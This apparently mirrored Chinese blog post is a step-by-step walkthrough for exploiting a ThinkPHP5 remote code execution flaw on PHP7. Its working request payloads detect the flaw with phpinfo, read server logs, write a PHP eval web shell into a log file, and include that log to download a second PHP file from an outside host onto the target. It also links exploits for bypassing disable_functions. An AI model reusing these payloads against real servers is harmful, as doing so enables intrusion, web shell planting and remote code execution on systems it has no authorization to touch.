zoukankan      html  css  js  c++  java
  • ThinkPHP5 RCE在PHP7下getshell

    前言:

      之前没遇到了PHP7下thinkphp getshell,顺带记录一下。

    1、探测漏洞

    _method=__construct&filter[]=phpinfo&server[REQUEST_METHOD]=1111111
    

      

    2、通过phpinfo信息获取当前路径

    /www/wwwroot/manage.cs.xx.com/public/index.php 

    3、php7下禁用的函数,所以system,assert等不能执行

    passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,ini_alter,i ni_restore,dl,openlog,syslog,readlink,symlink,popepassthru

    4、读取日志

     _method=__construct&filter[]=readfile&server[REQUEST_METHOD]=/www/www root/manage.cs.sz-ccsdsds.com/runtime/log/202007/22.log
    

    5、向日志中写入一句话

     _method=__construct&filter[]=call_user_func&server[REQUEST_METHOD]=<?php @eval($_POST['cmd']);?>


    6、文件包含日志getshell

    _method=__construct&filter[]=think\__include_file&server[REQUEST_METH OD]=/www/wwwroot/manage.cs.sz-xxx.com/runtime/log/202007/22.log&c=fi le_put_contents("/www/wwwroot/manage.cs.sz-dsdsdp.com/public/2.php",fil e_get_contents("http://xx.xxx.xx.xx:88/2.php"));
    

      


    7、Php7 bypass disable_functions 执行命令

    https://www.exploit-db.com/exploits/47462 
    https://www.exploit-db.com/exploits/47446 
    https://www.exploit-db.com/exploits/48072
    

      





  • 相关阅读:
    Linux系统下ZIP文件解压和压缩命令
    解析XML文件
    数组和集合之间的转换
    数据库密码到期修改密码
    Linux系统中启动jar程序
    JSONArray依赖包
    多态性
    接口----interface
    抽象类
    final关键字
  • 原文地址:https://www.cnblogs.com/whoami101/p/13364884.html
Copyright © 2011-2022 走看看